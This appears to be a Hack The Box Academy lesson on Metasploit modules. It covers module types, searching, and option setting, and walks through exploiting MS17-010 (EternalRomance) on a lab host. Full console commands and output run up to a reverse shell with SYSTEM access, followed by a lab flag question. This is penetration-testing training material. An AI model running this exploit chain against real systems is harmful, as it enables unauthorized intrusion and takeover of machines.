

Modules

As we mentioned previously, Metasploit **modules** are prepared scripts with a specific purpose and corresponding functions that have already been developed and tested in the wild. The **exploit** category consists of so-called proof-of-concept (**POCs**) that can be used to exploit existing vulnerabilities in a largely automated manner. Many people often think that the failure of the exploit disproves the existence of the suspected vulnerability. However, this is only proof that the Metasploit exploit does not work and not that the vulnerability does not exist. This is because many exploits require customization according to the target hosts to make the exploit work. Therefore, automated tools such as the Metasploit framework should only be considered a support tool and not a substitute for our manual skills.

Once we are in the **msfconsole**, we can select from an extensive list containing all the available Metasploit modules. Each of them is structured into folders, which will look like this:

Syntax

Syntax
<No.> <type>/<os>/<service>/<name>

Example

Example
794 exploit/windows/ftp/scriptftp_list

Index No.

The **No.** tag will be displayed to select the exploit we want afterward during our searches. We will see how helpful the **No.** tag can be to select specific Metasploit modules later.

Type

The **Type** tag is the first level of segregation between the Metasploit **modules**. Looking at this field, we can tell what the piece of code for this module will accomplish. Some of these **types** are not directly usable as an **exploit** module would be, for example. However, they are set to introduce the structure alongside the interactable ones for better modularization. To explain better, here are the possible types that could appear in this field:

Type	Description
Auxiliary	Scanning, fuzzing, sniffing, and admin capabilities. Offer extra assistance and functionality.
Encoders	Ensure that payloads are intact to their destination.
Exploits	Defined as modules that exploit a vulnerability that will allow for the payload delivery.
NOPs	(No Operation code) Keep the payload sizes consistent across exploit attempts.
Payloads	Code runs remotely and calls back to the attacker machine to establish a connection (or shell).
Plugins	Additional scripts can be integrated within an assessment with msfconsole and coexist.
Post	Wide array of modules to gather information, print banners, etc.

Post wide array of modules to gather information, pivot deeper, etc.

Note that when selecting a module to use for payload delivery, the **use <no.>** command can only be used with the following modules that can be used as **initiators** (or interactable modules):

Type	Description
Auxiliary	Scanning, fuzzing, sniffing, and admin capabilities. Offer extra assistance and functionality.
Exploits	Defined as modules that exploit a vulnerability that will allow for the payload delivery.
Post	Wide array of modules to gather information, pivot deeper, etc.

OS

The **OS** tag specifies which operating system and architecture the module was created for. Naturally, different operating systems require different code to be run to get the desired results.

Service

The **Service** tag refers to the vulnerable service that is running on the target machine. For some modules, such as the **auxiliary** or **post** ones, this tag can refer to a more general activity such as **gather**, referring to the gathering of credentials, for example.

Name

Finally, the **Name** tag explains the actual action that can be performed using this module created for a specific purpose.

Searching for Modules

Metasploit also offers a well-developed search function for the existing modules. With the help of this function, we can quickly search through all the modules using specific **tags** to find a suitable one for our target.

MSF - Search Function

MSF - Search Function

```
msf6 > help search
```

```
Usage: search [<options>] [<keywords>:<value>]
```

```
Prepending a value with '-' will exclude any matching results.
```

```
If no options or keywords are provided, cached results are displayed.
```

OPTIONS:

```
-h                Show this help information
-o <file>         Send output to a file in csv format
-S <string>       Regex pattern used to filter search results
-u               Use module if there is one result
-s <search_column> Sort the research results based on <search_column> in ascending order
-r               Reverse the search results order to descending order
```

Keywords:

```
aka              : Modules with a matching AKA (also-known-as) name
author           : Modules written by this author
arch             : Modules affecting this architecture
bid              : Modules with a matching Bugtraq ID
cve              : Modules with a matching CVE ID
edb              : Modules with a matching Exploit-DB ID
check            : Modules that support the 'check' method
date             : Modules with a matching disclosure date
description      : Modules with a matching description
fullname         : Modules with a matching full name
mod_time         : Modules with a matching modification date
```

```

name      : Modules with a matching descriptive name
path      : Modules with a matching path
platform  : Modules affecting this platform
port      : Modules with a matching port
rank      : Modules with a matching rank (Can be descriptive (ex: 'good') or numeric with comparison)
ref       : Modules with a matching ref
reference  : Modules with a matching reference
target    : Modules affecting this target
type      : Modules of a specific type (exploit, payload, auxiliary, encoder, evasion, post, or nop)

```

Supported search columns:

```

rank      : Sort modules by their exploitability rank
date      : Sort modules by their disclosure date. Alias for disclosure_date
disclosure_date : Sort modules by their disclosure date
name      : Sort modules by their name
type      : Sort modules by their type
check     : Sort modules by whether or not they have a check method

```

Examples:

```

search cve:2009 type:exploit
search cve:2009 type:exploit platform:-linux
search cve:2009 -s name
search type:exploit -s type -r

```

For example, we can try to find the **EternalRomance** exploit for older Windows operating systems. This could look something like this:

MSF - Searching for EternalRomance

MSF - Searching for EternalRomance

```
msf6 > search eternalromance
```

Matching Modules

```
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms17_010_psexec	2017-03-14	normal	Yes	MS17-010 EternalRomance/EternalSyn
1	auxiliary/admin/smb/ms17_010_command	2017-03-14	normal	No	MS17-010 EternalRomance/EternalSyn

```
msf6 > search eternalromance type:exploit
```

Matching Modules

```
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms17_010_psexec	2017-03-14	normal	Yes	MS17-010 EternalRomance/EternalSyn

We can also make our search a bit more coarse and reduce it to one category of services. For example, for the CVE, we could specify the year (**cve:<year>**), the platform Windows (**platform:<os>**), the type of module we want to find (**type:<auxiliary/exploit/post>**), the reliability rank (**rank:<rank>**), and the search name (**<pattern>**). This would reduce our results to only those that match all of the above.

MSF - Specific Search

MSF - Specific Search

```
msf6 > search type:exploit platform:windows cve:2021 rank:excellent microsoft
```

Matching Modules

```
=====
```

#	Name	Disclosure Date	Rank	Check	Description
-	----	-----	----	----	-----
0	exploit/windows/http/exchange_proxylogon_rce	2021-03-02	excellent	Yes	Microsoft Exchange Pro
1	exploit/windows/http/exchange_proxysHELL_rce	2021-04-06	excellent	Yes	Microsoft Exchange Pro
2	exploit/windows/http/sharepoint_unsafe_control	2021-05-11	excellent	Yes	Microsoft SharePoint V

Module Selection

To select our first module, we first need to find one. Let's suppose that we have a target running a version of SMB vulnerable to EternalRomance (MS17_010) exploits. We have found that SMB server port 445 is open upon scanning the target.

MSF - Specific Search

```
dbcypth0n@htb[/htb]$ nmap -sV 10.10.10.40

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-13 21:38 UTC
Stats: 0:00:50 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Nmap scan report for 10.10.10.40
Host is up (0.051s latency).
Not shown: 991 closed ports
PORT      STATE SERVICE        VERSION
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds   Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc          Microsoft Windows RPC
49153/tcp open  msrpc          Microsoft Windows RPC
49154/tcp open  msrpc          Microsoft Windows RPC
49155/tcp open  msrpc          Microsoft Windows RPC
49156/tcp open  msrpc          Microsoft Windows RPC
49157/tcp open  msrpc          Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.87 seconds
```

We would boot up `msfconsole` and search for this exact exploit name.

MSF - Search for MS17_010

MSF - Search for MS17_010

```
msf6 > search ms17_010

Matching Modules
=====

#  Name                                                                 Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/smb/ms17_010_eternalblue 2017-03-14      average Yes    MS17-010 EternalBlue SMB Remote
1  exploit/windows/smb/ms17_010_psexec     2017-03-14      normal  Yes    MS17-010 EternalRomance/Eterna
2  auxiliary/admin/smb/ms17_010_command    2017-03-14      normal  No     MS17-010 EternalRomance/Eterna
3  auxiliary/scanner/smb/smb_ms17_010      2017-03-14      normal  No     MS17-010 SMB RCE Detection
```

Next, we want to select the appropriate module for this scenario. From the `Nmap` scan, we have detected the SMB service running on version `Microsoft Windows 7 - 10`. With some additional OS scanning, we can guess that this is a Windows 7 running a vulnerable instance of SMB. We then proceed to select the module with the `index no. 2` to test if the target is vulnerable.

Using Modules

Within the interactive modules, there are several options that we can specify. These are used to adapt the Metasploit module to the given environment. Because in most cases, we always need to scan or attack different IP addresses. Therefore, we require this kind of functionality to allow us to set our targets and fine-tune them. To check which options are needed to be set before the exploit can be sent to the target host, we can use the `show options` command. Everything required to be set before the exploitation can occur will have a **Yes** under the **Required** column.

MSF - Select Module

```

MSF - Select Module

<SNIP>

Matching Modules
=====

#  Name                                     Disclosure Date  Rank   Check  Description
-  -
0  exploit/windows/smb/ms17_010_psexec      2017-03-14      normal Yes     MS17-010 EternalRomance/EternalSyn
1  auxiliary/admin/smb/ms17_010_command    2017-03-14      normal No      MS17-010 EternalRomance/EternalSyn

msf6 > use 0
msf6 exploit(windows/smb/ms17_010_psexec) > options

Module options (exploit/windows/smb/ms17_010_psexec):

Name                                     Current Setting  Required  Description
----
DBGTRACE                               false           yes       Show extra debug trace info
LEAKATTEMPTS                           99              yes       How many times to try to leak trans
NAMEDPIPE                              /usr/share/metasploit-framework/data/wo
NAMED_PIPES                            rdlists/named_pipes.txt          yes       List of named pipes to check

RHOSTS                                yes             The target host(s), see https://gi
/wiki/Using-Metasploit
RPORT                                  445             yes       The Target port (TCP)
SERVICE_DESCRIPTION                   no              Service description to to be used
SERVICE_DISPLAY_NAME                  no              The service display name
SERVICE_NAME                           no              The service name
SHARE                                  ADMIN$           yes       The share to connect to, can be an
rmal read/write folder share
SMBDomain                              .               no        The Windows domain to use for auth
SMBPass                               no              The password for the specified user
SMBUser                               no              The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----
EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     yes             The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  --
0   Automatic

```

Here we see how helpful the **No.** tags can be. Because now, we do not have to type the whole path but only the number assigned to the Metasploit module in our search. We can use the command `info` after selecting the module if we want to know something more about the module. This will give us a series of information that can be important for us.

MSF - Module Information

MSF - Module Information

```
msf6 exploit(windows/smb/ms17_010_psexec) > info
```

```
Name: MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
Module: exploit/windows/smb/ms17_010_psexec
Platform: Windows
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-03-14
```

Provided by:

```
sleepya
zerosum0x0
Shadow Brokers
Equation Group
```

Available targets:

```
Id  Name
--  ---
0   Automatic
1   PowerShell
2   Native upload
3   MOF upload
```

Check supported:

```
Yes
```

Basic options:

Name	Current Setting	Required	Description
----	-----	-----	-----
DBGTRACE	false	yes	Show extra debug trace info
LEAKATTEMPTS	99	yes	How many times to try to leak transa
NAMEDPIPE		no	A named pipe that can be connected
NAMED_PIPES	/usr/share/metasploit-framework/data/wo rdlists/named_pipes.txt	yes	List of named pipes to check
RHOSTS		yes	The target host(s), see https://github.com/Hackplayers/enum4linux/wiki/Using-Metasploit
RPORT	445	yes	The Target port (TCP)
SERVICE_DESCRIPTION		no	Service description to to be used on
SERVICE_DISPLAY_NAME		no	The service display name
SERVICE_NAME		no	The service name
SHARE	ADMIN\$	yes	The share to connect to, can be an a mal read/write folder share
SMBDomain	.	no	The Windows domain to use for authen
SMBPass		no	The password for the specified user
SMBUser		no	The username to authenticate as

Payload information:

```
Space: 3072
```

Description:

This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where primitive. This will then be used to overwrite the connection session information with as an Administrator session. From there, the normal psexec payload code execution is done. Exploits a type confusion between Transaction and WriteAndX requests and a race condition in Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a named pipe.

References:

```
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
https://nvd.nist.gov/vuln/detail/CVE-2017-0143
https://nvd.nist.gov/vuln/detail/CVE-2017-0146
https://nvd.nist.gov/vuln/detail/CVE-2017-0147
https://github.com/w0r4w1t/MS17-010
```

<https://github.com/0x00000000/0x00000000>
https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf
<https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/>

Also known as:

ETERNALSYNERGY
 ETERNALROMANCE
 ETERNALCHAMPION
 ETERNALBLUE

After we are satisfied that the selected module is the right one for our purpose, we need to set some specifications to customize the module to use it successfully against our target host, such as setting the target (RHOST or RHOSTS).

MSF - Target Specification

MSF - Target Specification

```
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 10.10.10.40
```

```
RHOSTS => 10.10.10.40
```

```
msf6 exploit(windows/smb/ms17_010_psexec) > options
```

Name	Current Setting	Required	Description
----	-----	-----	-----
DBGTRACE	false	yes	Show extra debug trace info
LEAKATTEMPTS	99	yes	How many times to try to leak trans
NAMEDPIPE		no	A named pipe that can be connected
NAMED_PIPES	/usr/share/metasploit-framework/data/wor	yes	List of named pipes to check
RHOSTS	10.10.10.40	yes	The target host(s), see https://github.com/0x00000000/0x00000000/wiki/Using-Metasploit
RPORT	445	yes	The Target port (TCP)
SERVICE_DESCRIPTION		no	Service description to to be used
SERVICE_DISPLAY_NAME		no	The service display name
SERVICE_NAME		no	The service name
SHARE	ADMIN\$	yes	The share to connect to, can be an
			ormal read/write folder share
SMBDomain	.	no	The Windows domain to use for authentication
SMBPass		no	The password for the specified user
SMBUser		no	The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	----
0	Automatic

In addition, there is the option `setg`, which specifies options selected by us as permanent until the program is restarted. Therefore, if we are working on a particular target host, we can use this command to set the IP address once and not change it again until we change our focus to a different IP address.

MSF - Permanent Target Specification

MSF - Permanent Target Specification

MSF - Permanent target Specification

```
msf6 exploit(windows/smb/ms17_010_psexec) > setg RHOSTS 10.10.10.40
```

```
RHOSTS => 10.10.10.40
```

```
msf6 exploit(windows/smb/ms17_010_psexec) > options
```

Name	Current Setting	Required	Description
----	-----	-----	-----
DBGTRACE	false	yes	Show extra debug trace info
LEAKATTEMPTS	99	yes	How many times to try to leak trans
NAMEDPIPE		no	A named pipe that can be connected
NAMED_PIPES	/usr/share/metasploit-framework/data/wo	yes	List of named pipes to check
	rdlists/named_pipes.txt		
RHOSTS	10.10.10.40	yes	The target host(s), see https://git
			/wiki/Using-Metasploit
RPORT	445	yes	The Target port (TCP)
SERVICE_DESCRIPTION		no	Service description to to be used
SERVICE_DISPLAY_NAME		no	The service display name
SERVICE_NAME		no	The service name
SHARE	ADMIN\$	yes	The share to connect to, can be an
			rmal read/write folder share
SMBDomain	.	no	The Windows domain to use for auth
SMBPass		no	The password for the specified user
SMBUser		no	The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	----
0	Automatic

Once everything is set and ready to go, we can proceed to launch the attack. Note that the payload was not set here, as the default one is sufficient for this demonstration.

MSF - Exploit Execution

MSF - Exploit Execution

```
msf6 exploit(windows/smb/ms17_010_psexec) > run
```

```
[*] Started reverse TCP handler on 10.10.14.15:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1
[*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer
```



```
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.10.14.15:4444 -> 10.10.10.40:49158) at 2020-08-13 21:37:21 +0000
[+] 10.10.10.40:445 - =====
[+] 10.10.10.40:445 - =====WIN=====
[+] 10.10.10.40:445 - =====

meterpreter> shell

C:\Windows\system32>
```

We now have a shell on the target machine, and we can interact with it.

MSF - Target Interaction

MSF - Target Interaction

```
C:\Windows\system32> whoami

whoami
nt authority\system
```

This has been a quick and dirty example of how **msfconsole** can help out quickly but serves as an excellent example of how the framework works. Only one module was needed without any **payload** selection, **encoding** or **pivoting** between sessions or jobs.

VPN Servers

Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.

Existing PwnBox instances will automatically switch to the new VPN server.

us-academy-1

PROTOCOL

☒ UDP 1337 ☐ TCP 443

DOWNLOAD VPN CONNECTION FILE



Connect to Pwnbox

Your own web-based Parrot Linux instance to play our labs.

Pwnbox Location

AU

46ms

Terminate Pwnbox to switch location

Start Instance

∞ / 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Target: [Click here to spawn the target system!](#)



Cheat Sheet



Download VPN
Connection File

+ 2

Use the Metasploit-Framework to exploit the target with EternalRomance. Find the flag.txt file on Administrator's desktop and submit the contents as the answer.

Submit your answer here...



Submit

← Previous

Next →



Cheat Sheet



Go to Questions

Table of Contents

Introduction

Preface



Introduction to Metasploit



Introduction to MSFconsole



MSF Components

[Modules](#)

Targets

Payloads

Encoders

Databases

Plugins & Mixins

MSF Sessions

 Sessions & Jobs

 Meterpreter

Additional Features

Writing & Importing Modules

Introduction to MSFVenom

Firewall and IDS/IPS evasion

Metasploit-Framework Updates - August 2020

My Workstation

O F F L I N E

 Start Instance

 / 1 spawns left